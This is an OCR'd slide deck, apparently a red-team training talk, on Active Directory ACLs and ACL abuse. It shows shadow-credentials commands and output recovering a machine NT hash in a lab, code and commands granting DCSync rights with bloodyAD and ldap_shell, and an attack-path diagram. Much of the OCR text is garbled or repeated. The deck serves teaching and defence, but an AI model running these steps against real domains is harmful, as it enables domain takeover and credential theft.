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ACL, DACL and SACL

ISR_S ECURITY_DESCRIPTOR
Revision: {b'\x01'}
Sbz1: {b'\x00'}
Control: {33796}
OffsetOwner: {0}

= Access Control List (ACL) is basically Offseteroup:{{?}
OffsetSacl: {0
shorthand for the DACL/SACL superset gffie“{);ﬂ; =00
acl:
= An object’s Discretionary Access Control List Dadgimevision, (4}
. . Sbz1: {0
(DACL) and Security Access Control List Acfsizi:}{lm}
. AceCount: {38}
(SACL) are ordered collections of Access Sbz2: {0}
) DataLen: {1548}
Control Entries (ACES) Data: {[<ldap_shell.ldaptypes.ACE object at 0x7fe4cc@07ad30>, <ldap
<ldap_shell.ldaptypes.ACE object at 0x7fe4cc19f3a0>, <ldap_shell.ldapt
0 The DACL specifies what principals/trustees 0x7fek4cc074a60>, <1dap_she11..ldaptypes.ACE object at 0x7fe4cc074910>, 4
h f\ tri ht th b. t <ldap_shell.ldaptypes.ACE object at 0x7fe4cc191ee0d>, <ldap_shell.ldapt
ave wnat rights over € objec 0x7fe4cc080d00>, <ldap_shell.ldaptypes.ACE object at 0x7fe4cc0803d0>, 4
L. <ldap_shell.ldaptypes.ACE object at 0x7fe4cc090070>, <ldap_shell.ldapt
0 The SACL allows for aUd|t|ng of access 0x7fe4cc090820>, <ldap_shell.ldaptypes.ACE object at 0x7fe4cc090ac0>, 4
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attempts to the ObjECt <ldap_shell.ldaptypes.ACE object at 0x7fe4cc0922e0>, <ldap_shell.ldapt
0x7fe4cc092ac0>, <ldap_shell.ldaptypes.ACE object at 0x7fe4ccl9fbed>, 4
<ldap_shell.ldaptypes.ACE object at 0x7fe4cc07al190>, <ldap_shell.ldapt
0x7fe4cc07a880>, <ldap_shell.ldaptypes.ACE object at 0x7fe4cc07abed>, 4
}
OwnerSid: {b''}
GroupSid: {b''}
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ecurity Descriptor

typedef struct SECURITY DESCRIPTOR {
UCHAR Revision;
UCHAR Sbzl;
SECURITY DESCRIPTOR CONTROL Control;

A security descriptor can include the following information
e Object Owner (SID)
e Discretionary Access Control List (DACL)

e System Access Control List (SACL) PSID
e Set of control bits PSID Group;

PACL Sacl;
PACL

} SECURITY DESCRIPTOR, *PISECURITY DESCRIPTOR;
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ACL in ADUC

: Active Directory Users and Computers

File Action View Help
ash E Add/Remove Columns...

(—)
(-
T e - — = n
. Active Direc Large Icons T I
- Saveq q Small Icons D test Eones —
v o r.oastmg List B test2 Add to a group... ——
| Eu\lt B Detoi Name Mappings...
— DU" Disable Account u
F1 F:[': Users, Contacts, Groups, and Computers as containers Reset Password.. z
- Keys ~  Advanced Features Move... I I I
" Lost Filter Options... Open Home Page =
i Mar Customize Send Mail
1 Prog Al Task: > ==
_ System %Domam Controllers Security G it z
| Users EB Domain Guests Security G Refresh —
_ NTDS Quotas %Domain Users Security G Properti ———
. TO)| es ]
_ TPM Devices %Gloup Policy Creator Owners Security G # ===
[ . o Help =
IAdvanced Security Settings for p.petrov I Securable Object | X =
i ?
p.petrov Properties ? X Organization  Publishe >
. 7 Remote control ~ Remot =
Organization Published Certficates = Member Of  Password Replication - - . . ~ =
Remote control  Remote Desktop Services Profle COM+  Attribute Editor General Address Owner: Domain Admins (ROASTINGDCO1\Domain Admins) Change <
General  Add Account  Profle  Teleph Delegati Dialin Object o - -
Dial :ss coSecunty En e s = Permissions Auditing Effective Access m
alin bject vironment essions Group or user names: m
Group or user names: E - . . ol - . . . . . .-
: 82 Everyone For additional information, double-click 2 permission entry. To modify a permission entry, select the entry and click Edit (if available). ——
A §i2, CREATOR OWNE - : ——
icggﬂog OWNER 82 SELF Permission entries: =
82 SELF - : ;—EGU—R—IH
52 Authenticated Users i Mh:'m‘:'"e‘* Usef Type  Principal c iherit® from Applies to A kel
S8 SYSTEM - SYSTEM 88 Allow  RAS and IAS Servers (ROASTI... Read account restricti... None This object onl =
82 Domain Admins (R J] y
- . main Admins . ) .
‘b&Domam Mﬂlﬂs (ROASTINGDCO1\Domain Admins) 82 Cert Publishers (RQ B2 Allow RAS and IAS Servers (ROA! This object only u
L e e s X - 8% Allow  RAS and IAS Servers (ROA: ad .. e This object only =
Add... Remove B2 Allow RAS and IAS Servers (ROASTI... Read remote access in.. None This object only —
g e e b ; 82 Allow  Cert Publishers (ROASTINGD... None This object only
ookl i i = Dety = Bermissions for Everyons 88 Allow  Windows Authorization Acce... None This object only g
Full control O O Full control SR Allow Terminal Server License Serve... None This object onl [
Read O O ey >0
ea .
Wite 0 0 Read 88 Allow  Terminal Server License Serve... Read/write Terminal S... None This object only By
Create all child objects O O :J’Ur::te ol chid obiect 8% Allow  Everyone Change password None This object only g -
Delete all child objects O O of chid blec( 8% Allow  SELF Change password None This object only v aT
Allowed to authenticate O O - € e ooy
- < a - Alowed to authentical Add Remove View Restore defaults -
For special permissions or advanced settings, click Advanced o -  —
Advanced ;‘;’é‘:}ﬁg' pemissions ¢ Disable inheritance U|
o Cancel | | Apph L
. Apply Help
https://t.me/learning ok - . o n




ACL, DACL and SACL

Advanced Security Settings for user O X

DAC L SAC L Change

I Permissions II Auditing I Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries: Security PrinCipals

Type Principal Access Inherited fr... Applies to 2
S8 Allow Exchange Trusted Subsystem... Special DC=lab,DC... This object and all descendan...
S8 Allow Enterprise Admins (LAB\Ente... Full control DC=lab,DC... This object and all descendan...
S8 Allow Pre-Windows 2000 Compatib... List contents DC=lab,DC... This object and all descendan...
82 Allow Administrators (LAB\Admini... Special DC=lab,DC... This object and all descendan...
Exchange Windows Permissi...  Special DC=lab,DC... This object and all descendan...

52 Allow

DC

ACE

Exchange Windows Permissi...  Special DC=lab,DC... This object and all descendan...

82 Allow Exchange Windows Permissi...  Special DC=lab,DC... This object and all descendan...
S8 Allow Exchange Windows Permissi...  Special DC=lab,DC... This object and all descendan... v
Add Remove View Restore defaults

Disable inheritance

https://t.me/learningnets
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ACE

All ACEs include:

O A 32-bit set of flags that control auditing

0O A 32-bit access mask that specifies access rights
allowed

O A security identifier (SID) that identifies the
principal/trustee that has the given rights

3130|290 |28 (27 |26 |25 (24|23 |22 (21|20 (19 |18 |17 (16 |15 |14 (13 |12|11[(10|9 |8 (7 |6 (5 |4 |3 (2|1 |0

ACE Size ACE Type

GR|[GW|GE |GA|Reserved |AS Standard access rights Object-specific access rights

Inheritance and Audit Flags

Access Mask

GR —»Generic_Read

SlD G —>Generic_Write

GE —=Generic_Execute

GA —=Generic_ALL

AS —>Rightto access SACL

Mask: {

Mask: {131380}
¥
Sid:{

Revision: {1}

SubAuthorityCount: {5}
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IdentifierAuthority:{
Value: {b'\x00\x00\x00\x00\x00\x05"}

}
SubLen: {20}
SubAuthority: {b'\x15\x00\x00\x00M!\xae\xas\xdcPO\\5\xc7z\x8dT\x04\x00\x00"}

hdl1l R
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ACE

| RIGHT | Mask | Human view _
0x00000001  CreateChild >>> hex(131380)
0x00000002 DeleteChild 'Ox20134"
RIGHT_DS_LIST CONTENTS 0x00000004 ListChildren
RIGHT_DS_WRITE_PROPERTY_ [OX[e[e[o[o]o]o}:} Self >2>2 I
EXTENDED
RIGHT_DS_READ_PROPERTY 0x00000010 ReadProperty
RIGHT_DS_WRITE_PROPERTY  [RONOIoo/olelopl0) WriteProperty
RIGHT_DS_DELETE_TREE 0x00000040 DeleteTree
RIGHT_DS_LIST _OBJECT 0x00000080 ListObject 0x20000 — ReadControl
RIGHT_DS_CONTROL_ACCESS  [Mo}lolo/olokT0o ExtendedRight Ox100 - ExtendedRi ght
RIGHT_DELETE 0x00010000 Delete .
RIGHT_READ_CONTROL 0x00020000 ReadControl 0x30 — WriteProperty and ReadProperty
RIGHT_WRITE_DAC 0x00040000 WriteDacl Ox4 — ListChildren
RIGHT_WRITE_OWNER 0x00080000 WriteOwner
RIGHT_GENERIC_ALL 0x10000000 GenericAll
RIGHT_GENERIC_EXECUTE 0x20000000 GenericExecute
RIGHT_GENERIC_WRITE 0x40000000 GenericWrite
RIGHT_GENERIC_READ 0x80000000 GenericRead

Mask:{

Mask: {131380} def hasPriv(self, priv):

} return ['Mask'] & priv == priv

Sid:{
Revision: {1}
SubAuthorityCount: {5}

def setPriv(self, priv):

[ 'Mask'] |= priv
IdentifierAuthority:{
Value: {b'\x00\x00\x00\x00\x00\x05"}

def removePriv(self, priv):
[ 'Mask'] ~= priv

}
SubLen: {20}
SubAuthority: {b'\x15\x00\x00\x00M!\xae\xa4\xdcPO\\5\xc7z\x8dT\x04\x00\x00"'}
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ACE GUI

Permission Entry for p.petrov

Principal:  SELF

Type: Allow

Applies to: | This object only

Permissions:
[JFull control
[[] List contents
[[]Read all properties
[[] Write all properties
[[]Delete
[[] Delete subtree
[[] Read permissions
[J Modify permissions
[ Modify owner
[C] Al validated writes

FUAN cbmm e bsn
Permission Entry for Test group

Principal: ~ SELF S

a principal
Type: Allow

Applies to: | This object only

Permissions:
[JFull control
[ List contents
Read all properties
[J Write all properties
[JDelete
[[] Delete subtree
Read permissions
[[] Modify permissions

Properties:

https://t.me/legxgtﬂg;ggts

[[] Create all child objects

[[] Delete all child objects

[[] Create ms-net-ieee-80211-GroupPolicy objects
[[] Delete ms-net-ieee-80211-GroupPolicy objects
[[] Create ms-net-ieee-8023-GroupPolicy objects
[] Delete ms-net-ieee-8023-GroupPolicy objects
[[] Allowed to authenticate

Change password

[]Receive as

[] Reset password

L -t

[J Modify owner

[C] All validated writes

[ All extended rights

[] Create all child objects

[[] Delete all child objects

[[] Add/remove self as member
[JSend to

[[] Write msDS-NCReplinboundNeighbors
Read msDS-NCReplOutboundNeighbors

Permission Entry for WIN7ROASTING

Principal: ~ SELF Select a principa

Type: Allow v
Applies to: | This object only v
Permissions:

[C]Full control

[[]List contents

[]Read all properties

[[] Write all properties

[[] Delete

[[] Delete subtree

[[]Read permissions

[[]Modify permissions

[] Modify owner

[C] Al validated writes

[C] All extended rights

Create all child objects

Delete all child objects

[A Create applicationVersion objects
Delete applicationVersion objects
Create IntelliMirror Service objects
Delete IntelliMirror Service objects
reate msDFSR-LocalSettings objects

elete msDFSR-LocalSettings objects

Create msDS-App-Configuration objects

Delete msDS-App-Configuration objects

Create msDS-AppData objects

Delete msDS-AppData objects

Create msDS-GroupManagedServiceAccount objects

Properties:

[[]Read all properties

[[] Write all properties

Delete msDS-GroupManagedServiceAccount objects

Create msFVE-Recoverylnformation objects

[~ Delete msFVE-RecoveryInformation objects
Create msieee80211-Policy objects

Delete msieee80211-Policy objects

Create MSMQ Configuration objects

[~ Delete MSMQ Configuration objects

Create ms-net-ieee-80211-GroupPolicy objects

Delete ms-net-ieee-80211-GroupPolicy objects
Create ms-net-ieee-8023-GroupPolicy objects
[ Delete ms-net-ieee-8023-GroupPolicy objects
Create Printer objects

Delete Printer objects

Create Shared Folder objects

[ Delete Shared Folder objects

[[] Allowed to authenticate

[[] Change password

[C]Receive as

[ Reset password

[[]Send as

[[] Validated write to computer attributes.

[[] Validated write to DNS host name

[[] Validated write to MS DS Additional DNS Host Name

[[] Validated write to service principal name

[[] Read msDS-ResultantPSO

[[] Write msDS-ResultantPSO
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ACE

31|30 (29 |28 |27 |26 (25 (24|23 |22 |21 (20 (19 |18 |17 |16 (15 (14|13 |12 (11(10|9 |8 |7 B (5 |4 |3 |2 (1 | O

ACE Size ACE Type

GR |GW|GE |GA| Reserved |AS Standard access rights Object-specific access rights

Inheritance and Audit Flags

Access Mask

GR —=Generic_Read

S'D GW —=Generic_Write

GE —=Generic_Execute

GA —>Generic_ALL

AS —Rightto access SACL

ACE Size ACE Type

object_type='1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' — DS-Replication-Get-Changes-All
Inheritance and Audit Flags object_type='1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' — DS-Replication-Get-Changes
object_type='89e95b76-444d-4c62-991a-0facbedab40c' - DS-Replication-Get-Changes-In-Filtered-Set

Access Mask

Permission Entry for roasting a x
S”:I Principal:  test (test@roasting lab] Select a principsl
Type: Allow v
Object Type |nher|ted Ob_le[:t Applies to: | This object only >
Permissions:
Object Flags ] Full control [ Delete mslmaging-PSPs objects
[ List contents [] Create MSMQ Queue Alias objects
[[]Read all properties [] Delete MSIMQ Queue Alias objects
[ Create msDS-GroupManagedServiceAccount objects []Reanimate tombstones
[ Delete msDS-GroupManagedServiceAccount objects Replicating Directory Changes
[ Create msDS-ManagedServiceAccount objects [ Replicating Directory Changes All
T U TP RS S S )P i b e e L il Cak
Cancel

https://t.me/learningnets
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Permission Entry for user

Principal: ~ Administrator (ROASTINGDCOT\Administrator)
Type: Allow

Applies to: | This object and all descendant objects

Permissions:
[JFull control
[ List contents
[ Read all properties
[JWrite all properties
[ Delete
[ Delete subtree
[ Read permissions
[IMadify permissions
[IMeadify owner
[J &l validated writes
[JAll extended rights

Properties:
[IRead all properties

[ Write all properties

[(JRead account restrictions
[+] Write account restrictions
[CJRead general information

[+] Write general information

https://t.me/learningnets

[] Create all child objects

[] Delete all child objects

[] Create ms-net-ieee-80211-GroupPolicy objects
[] Delete ms-net-ieee-80211-GroupPolicy objects
[] Create ms-net-ieee-2023-GroupPolicy objects

[] Delete ms-net-ieee-8023-GroupPolicy ohjects

[] Allowed to authenticate

[] Change password

[ Receive as

[] Reset password

[]Send as

[]Read msDS-OperationsForfAzTaskBL
[ Read msDS-parentdistname

[] Write msD5-parentdistname

[ Read msDS-preferredDatalocation
Write msD5-preferredDatalocation

[ Read msDS-PrimaryComputer

Cancel

Permission Entry for user

Principal:  Administrator (ROASTINGDCOT\Administrator)  Select a principal

Type: Allow ~
Appliesto: | This object and all descendant objects ~
Permissions:

[] Full control

List contents

Read all properties
[ Write all properties
[ Delete

[] Delete subtree
Read permissions
[ Modify permissions
[ Madify owner

[ &l validated writes
] All extended rights

Properties:

Read all properties
[ Write all properties
Read account restrictions
[+] Write account restrictions
Read general information

Write general information

[] Create all child objects

[] Delete all child objects

[] Create ms-net-ieee-B80211-GroupPolicy objects
[] Delete ms-net-ieee-280211-GroupPolicy objects
[[] Create ms-net-ieee-8023-GroupPolicy objects
[] Delete ms-net-ieee-8023-GroupPolicy objects
[] Allowed to authenticate

[] Change password

[ Receive as

[] Reset password

[]Send as

Read msD5-OperationsForAzTaskBL
Read msD5-parentdistname

[ Write msDS-parentdistname

Read msD5-preferredDatalocation
Write msD5-preferredDatalocation

Read msD5-PrimaryComputer

Cancel
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Properties

* MsDs-KeyCredentialLink (Shadow creds) — https://github.com/ShutdownRepo/pywhisker

* MsDS-AllowedToActOnBehalfOfOtherldentity — Resource Based Constrained Delegation
* Ms-DS-MachineAccountQuota — Relevant to CVE-2021-42278

* Script-Path — When logging locally to the host, the path to the executable is stored in the scriptPath
attribute

* msTSInitialProgram — When using the terminal server, the path to the executable file is stored in the
attribute msTSInitialProgram

» userAccountControl — Stores the mask responsible for the object properties.
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https://github.com/ShutdownRepo/pywhisker

Shadow credentials

Client
. . . | |
Pre-requisites for this attack are as follows | |
| AS-REQ (PKINIT) >:
l

e the target Domain Functional Level must | AS.REP I
. N |
be Windows Server 2016 or above. |L‘ |
e the target domain must have at least one | TGS-REQ (U2U) |
. . . | >
Domain Controller running Windows | .

Server 2016 or above. TGS-REQ with the client's TGT included as an additional ticket

e the Domain Controller to use during the i
attack must have its own certificate and lr‘
keys (this means either the organization '
must have AD CS, or a PKI, a CA or
something alike).

TGS-REP

TGS-REP containing the client's NTLM hash in the PAC

T
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|
|  Decrypt ticket
* the attacker must have control over an | and extract NTLM
. | hash from PAC
account able to write the msDs- :|
. . . C:\Users\elad>Whisker.exe list /target:dcl$

KeyCredentialLink attribute of the target arching for the target account
| & rget user found: CN=DC1,0U=Domain Controllers,DC=shenanigans,DC=1abs

user or computer account. | [*] Listing deviced for dcls:

DeviceID: 01df54d7-d3ac-4977-985c-1f56e23f2870 | Creation Time: 6 1 3:28:56 PM

DeviceID: e5876aa7-0ae@-40d0-82f1-e5423ece2039 | Creation Time: 6 9:08:52 PM

hdl1l R
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Shadow credentials

= nothing supernatural

Tips to know

just a note =

I’;)t GenericWrite/All to machine or—‘
user account in domain with ADCS?

Use the Shadow Credentials attack to restore the
NT hash of the desired object by using pywhisker
and PKINITtools.

Complete your attack on a machine account by
creating a silver ticket with the restored machine

laccount's NT hash and gain a code execution.

https://t.me/learningnets

M GenericWrite
@y _Memberof o @ g GenericWite I:

) L T

> python3 -a add -t 'WRKSTATIONO1$' -d 'vkr' -u 'lowpriv' -p 'Qwertyl23!' --dc-ip 192.168.41.10
Searching for the target account
Target user found: CN=WRKSTATIONO1,CN=Computers,DC=vkr,DC=local
Generating certificate
Certificate generated
Generating KeyCredential
KeyCredential generated with DevicelD: 4abd4d36e-dbl5-4dd5-847a-31lee3f2960a2
Updating the msDS-KeyCredentiallink attribute of WRKSTATIONO1$
Updated the msDS-KeyCredentiallLink attribute of the target object
Saved PFX (#PK(CS12) certificate & key at path: bPvOsv5U.pfx
Must be used with password: 06PyQq4ixHmZsolfnrNU
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

> python3 \
-cert-pfx 'bPvOsv5U.pfx' \
-pfx-pass '06PyQqd4ixHmZsoifnrNU’ \
-dc-ip 192.168.41.10 'vkr.local/WRKSTATIONO1$' WRKSTATIONO1.ccache
2021-11-15 11:44:28,397 minikerberos INFO Loading certificate and key from file
2021-11-15 11:44:28,461 minikerberos INFO Requesting TGT
2021-11-15 11:44:33,608 minikerberos INFO AS-REP encryption key (you might need this later):
2021-11-15 11:44:33,608 minikerberos INFO €189e606308832¢397¢c2d036ad4dc58a61131ed40eb8812¢c18c148fec3bbof26e
2021-11-15 11:44:33,612 minikerberos INFO Saved TGT to file

> KRB5CCNAME=. /WRKSTATIONO1.ccache python3 \
-key 'e189e606308832¢c397c2d036addc58a61131ed40eb8812c18c148fec3bb0f26e" \
~dc-ip 192.168.41.10 'vkr.local/WRKSTATIONO1S'
Impacket v0.9.24.dev1+20210726.180101.1636eaab -~ Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache

[*] Requesting ticket to self with PAC
Recovered NT Hash
cedec8e9c08c9d2d71ebf92f0d858c52

phdil . [DEPENIIPALYOURIINIDENGE!IT SIICHOIGE



More masks

"userAccountControl":
4194816
1,

>>> bin(4194816)
'0b10000000000001000000000"

>>> I

"userAccountControl":
4096
1,

>>> bin(4096)
'0b1000000000000 "

>>> I

Flag value (binary)

0000000000000000000000000000000X
00000000000COOBOEOONEOOEOEOBOEOO1O
0000000000OCOOOOEONEOOEOEOBOEOXOO
000000000000000OCOOEOOEOEOOE1O00
00000000000000000000000000010000
00000000000000000000000000100000
0000000OEOOEOOOBOEOOEOOEOEL1OEOOBO
0000000000OCOOOONEOOEOOEN1OOEOEOO
00000000000000OONEOOEOOOXEBOEOEOO
0000000000000000000000100000OCOO
000000000000000000000XO00COOOEOOO
00000000000000000000100000000000
000000000000O0OOBNEOO1OOCOEOBOEOEOO
000000000000000000100000000000B0
00000000000000000XOOEOOOBEOEOEOHO
0000000000000000X000OCOOEOOOEOO0O
000000000000000160000000OCOBOEOOOO
0000000000OEOO1OOOOEOOEOEOBOEOEOO
000000000000010000000000COBOEOEOO
00000000000010000000000000000000
00000000000100000000000000000000
00000000001000000000000000000000
000000000100000000000OCOEOBOEOOOO
0000000010000000000000000O0OEOEOO
00000001000000000000000000000000
00000010000000000000000000000000
00000100000000000000000000000000

UF_DONT_REQUIRE_PREAUTH ( 4194304 )

This bit indicates that there is no so-called pre-authentication necessary for Kerberos authentication of the account. This is only for older Kerberos client important, which need to
login to the domain from foreign systems and which does not support Kerberos pre-authentication. For accounts that log on from a Windows machine, or just for machine accounts of
Windows domain members, this flag flag should NEVER be set, for the pre-authentication prevents certain types of dictionary attacks on the Kerberos login.

https://t.me/learningnets

(decimal)

16

32

64

128

256

512

1024
2048
4096
8192
16384
32768
65536
131072
262144
524288
1048576
2097152
4194304
8388608
16777216
33554432
67108864

Reserved, the value must always be 0
UF_ACCOUNT DISABLE

Reserved, the value must always be 0
UF_HOMEDIR REQUIRED

UF _LOCKOUT

UE PASSWD NOTREQD

UF PASSWD CANT CHANGE
UF_ENCRYPTED TEXT PASSWORD ALLOWED
Reserved, the value must always be 0
UF_NORMAL ACCOUNT

Reserved, the value must always be 0
UF_INTERDOMAIN TRUST ACCOUNT
UF_WORKSTATION TRUST ACCOUNT
UF SERVER TRUST ACCOUNT
Reserved, the value must always be 0
Reserved, the value must always be 0

UF _DONT EXPIRE PASSWD

UF_MNS LOGON ACCOUNT
UF_SMARTCARD REQUIRED

UF TRUSTED FOR DELEGATION
UF_NOT DELEGATED

UF USE DES KEY ONLY

UF DONT REQUIRE PREAUTH

UF PASSWORD EXPIRED

UF TRUSTED TO AUTHENTICATE FOR DELEGATION
UF NO AUTH DATA REQUIRED

UF PARTIAL SECRETS ACCOUNT
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Set DcSync bloodyAD

bloodyAD - https://github.com/CravateRouge/bloodyAD

('} ~/work/pentest/bloodyAD
bloodyAD.py roasting.lab Administrator 1gazaWsX

[+] test SID is: S-1-5-21-170099002-3324421148-3202989712-1150
test can now DCSync

def /SecD conn, identity, target,
ldap filte objectClass=*)', ldap attribute='nTSecurityDescriptor’,
object type=N , access _mask=ACCESS_FLAGS[ 'GENERIC ALL'], control_ flag= , enable="True"):

if enable:
sd[ 'Dacl'].aces.appen
else:
aces to keep [1]
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
ace sid = ace[ Ace 1['Sid']
if ace s Data() == user sid:
LOG.debug %S (w1ll be removed)' % ace sid.fo
else:
LOG. J(" %S " % id.formatCanonical())
aces to keep.:z i
sd['Dacl']. aces = aces to keep
# Remove the attribute if there is no ace to keep
if len(sd['Dacl'].aces) > 0 or ldap attribute == 'nTSecurityDescriptor':
attr values.append(sd.getData())

teACE(sid=user sid, access mask=access mask))

https://t.me/learningnets

192.168.1.80 setDCSync test

Permission Entry for roasting

Principal:  test (test@roasting.lab) Select a principal

Type: Allow ~
Applies to: | This object only ~
Permissions:

Full control
Delete msDS-GroupManagedServiceAccount objects
Create msDS-ManagedServiceAccount objects

Delete msimaging-PSPs objects
Replicating Directory Changes
Replicating Directory Changes All
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https://github.com/CravateRouge/bloodyAD

Set DcSync Idap_shell

Ldap_shell - https://github.com/PShlyundin/Idap shell
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Permission Entry for roasting C
Principal:  test (test@roasting.lab) Select 2 principal
Type: Allow v
Applies to: | This object only v
——
=
Permissions: =
[JFull control [[]Delete msimaging-PSPs objects u
[] List contents Replicating Directory Changes ;
[[]Read all properties Replicating Directory Changes All u
[[] Write all properties Replicating Directory Changes In Filtered Set =
P
(4
b

sd[ ].aces.append( .createACE( =yser_sid
sd[ ].aces.append( .createACE( =user_sid,
sd[ ].aces.append( .createACE( =user_sid

Llen(sd[ ].aces) > ldap_attribute ==

attr_values.append(sd.getData())
.client.modify(entry_dn, {ldap_attribute: [ldap3.MODIFY_REPLACE, attr_values]})

https://t.me/learningnets
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https://github.com/PShlyundin/ldap_shell

ACL Abuse GenericAll

Computer:

. Reset password (bad idea)
. RBCD

. Read LAPS

. Read GMSA

o Shadow Credentials @ GenericAll b_

User:

. Reset password
Set SPN (target kerberoasting)

*  Set dontregpreauth (target as-rep roasting)
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. Shadow Credentials
. Script Path

. msTSInitialProgram

hdl1l R
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ACL Abuse

» GenericAll

Owns B WriteDACL WriteOwner GenericWrite AllExtendedRights

t I ‘ ‘
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User Computer User
C%né%lger SPN Adc?l:?eun?ber Edﬁ‘:}}(l)DO Read LAPS Force Change Ad?;?eun?ber ggg?r:z
ScriptPath Read gMSA Password

~ IDEPENI
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ACL Abuse Idap_shell

https://github.com/PShlyundin/Idap shell

Get Info
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.

get_user_groups user - Retrieves all groups for a specified user.
get_group_users group - Retrieves all members of a group.
get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
get_maqg user - Get ms-DS-MachineAccountQuota for current user.
Abuse ACL
add_user_to_group user group - Adds a user to a group.
del_user_from_group user group - Delete a user from a group.
change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
clear_rbcd target - Clear the resource based constrained delegation configuration information.
set_dcsync user - If you have write access to the domain object, assign the DS-Replication right to the selected user.
del_dcsync user - Delete DS-Replication right to the selected user.
set_genericall target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
set_owner target grantee - Abuse WriteOwner privilege.
dacl_modify - Modify ACE (add/del). Usage: target, grantee, add/del and mask name or ObjectType for ACE modified.
set_dontregpreauth user true/false - Set the don't require pre-authentication flag to true or false.
get_ntlm user - Shadow Credentials method to abuse GenericAll, GenericWrite and AllExtendedRights privilege
write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID attribute format is {value}.
Misc
add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS.
del_computer computer - Remove a computer from the domain.
add_user new_user [parent] - Creates a new user.
disable_account user - Disable the user's account.
enable_account user - Enable the user's account.
- Terminates this session.

https: IIE. me/learnlngnets
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https://github.com/PShlyundin/ldap_shell

ACL Abuse Idap_shell

WriteOwner

MemberOf AddMember GenericWrite ® GenericWrite
r - |\

USER@REDTEAM.BRO 1, 0\ 1aIN USERS@REDTEAM.BRO HELPDESK1@REDTEAM.BRO HELPDESK2@REDTEAM.BRO USER1@REDTEAM.BRO USER2@REDPTEAM.BRO

BIMOLIRU9

GenericWrite GenericAll MemberOf

GenericWrite

WriteDacl

orceChangePasswQye

https://t.me/learningnets
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ACL Abuse Idap_shell

WriteOwner
g

GenericWrite N

>

MemberOf AddMember GenericWrite
1. Helpdeskl e @ @

USER@REDTEAMBRO 1 )\AIN USERS@REDTEAM.BRO HELPDESKT@REDTEAM.BRO HELPDESK2@REDTEAM.BRO USERT@REDTEAM.BRO USER2@REDTEAM.BRO
* Add member

BYIMOHBUSY

2. Helpdesk2
° Ad d mem be r GenericWrite GenericWrite GenericAll @ MemberOf @
RERJES ADMIN R#(OREDTEAM.BRO HELPDESK3@REDTEAM.BRO SRV1.REDTEAM.BRO
3 . U S e r 1 WriteDacl orceChangePasswgge

* Target Kerberoasting/As-Reproasting
* Script Path

* Shadow Credentials

* UP to GenericAll

6. User3

* Reset password
* Target Kerberoasting/As-Reproasting
* Script Path
4. User2 + Shadow Credentials
* Target Kerberoasting/As-Reproasting 7 Admin
* Script Path
* Shadow Credentials * ResetPassword

« Target Kerberoasting/As-R t]
* Set Owner (Get WriteDACL) arget Kerberoasting/As-Reproasting

* Script Path
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* Set DcSync

* Shadow Credentials

« UP to GenericAll ga

* Shadow Credentials £x

>- SRV1 8. REDTEAM.BRO -
* RBDC

U

L
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ACL Abuse |dap_shell
1. Helpdeskl Q—““””’—@i ddter 8ﬁ S

USER@REDTEAMBRO 1 )\AIN USERS@REDTEAM.BRO HELPDESKT@REDTEAM.BRO HELPDESK2@REDTEAM.BRO USERT@REDTEAM.BRO USER2@REDTEAM.BRO

WriteOwner

GenericWrite N

>

»
' g

e Add member

BYIMOHBUSY

2. Helpdesk2
° Ad d mem b er GenericWrite GenericWrite GenericAll e 9 MemberOf
REDTEAM ADMIN SREDTEAM.BRO HELPDESK3@REDTEAM.BRO SRV1.REDTEAM.BRO
3 . U S e r 1 WriteDacl orceChangePasswg

* Target Kerberoasting/As-Reproasting
* Script Path

* Shadow Credentials

* UP to GenericAll

6. User3

* Reset password
* Target Kerberoasting/As-Reproasting
* Script Path
4. User2 * Shadow Credentials
* Target Kerberoasting/As-Reproasting 7 Admin
* Script Path ) * ResetPassword
* Shadow Credentials

e T t Kerb ting/As-R ti
* Set Owner (Get WriteDACL) arget Kerberoasting/As-Reproasting

* Script Path
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* Set DcSync

* Shadow Credentials

* UP to GenericAll -> Reset password 8

* Shadow Credentials £x

5. SRV1 aT
8. REDTEAM.BRO -

* RBDC —

u

L

https://t.me/learningnets

=)



JUOHIIS. LIINAIINEIHNOAVENNIdID -2 mPyd

DEMO1

https://t.me/learningnets



ACL Abuse Idap_shell

WriteOwner
g

GenericWrite N

>

MemberOf AddMember GenericWrite
1. Helpdeskl e @ @

USER@REDTEAMBRO 1 )\AIN USERS@REDTEAM.BRO HELPDESKT@REDTEAM.BRO HELPDESK2@REDTEAM.BRO USERT@REDTEAM.BRO USER2@REDTEAM.BRO
* Add member

BYIMOHBUSY

2. Helpdesk2
° Ad d mem be r GenericWrite GenericWrite GenericAll @ MemberOf @
RERJES ADMIN R#(OREDTEAM.BRO HELPDESK3@REDTEAM.BRO SRV1.REDTEAM.BRO
3 . U S e r 1 WriteDacl orceChangePasswgge

* Target Kerberoasting/As-Reproasting
* Script Path

* Shadow Credentials

* UP to GenericAll

6. User3

* Reset password
* Target Kerberoasting/As-Reproasting
* Script Path
4. User2 + Shadow Credentials
* Target Kerberoasting/As-Reproasting 7 Admin
* Script Path
* Shadow Credentials * ResetPassword

« Target Kerberoasting/As-R t]
* Set Owner (Get WriteDACL) arget Kerberoasting/As-Reproasting

* Script Path
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* Set DcSync

* Shadow Credentials

« UP to GenericAll ga

* Shadow Credentials £x

>- SRV1 8. REDTEAM.BRO -
* RBDC

U

L
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ACL Abuse |dap_shell
1. Helpdeskl Q—%@i ddter 8* S

USER@REDTEAMBRO 1 )\AIN USERS@REDTEAM.BRO HELPDESKT@REDTEAM.BRO HELPDESK2@REDTEAM.BRO USERT@REDTEAM.BRO USER2@REDTEAM.BRO

WriteOwner

GenericWrite N

>

»
' g

e Add member

BYIMOHBUSY

2. Helpdesk2
° Ad d mem b er GenericWrite GenericWrite GenericAll e 9 MemberOf
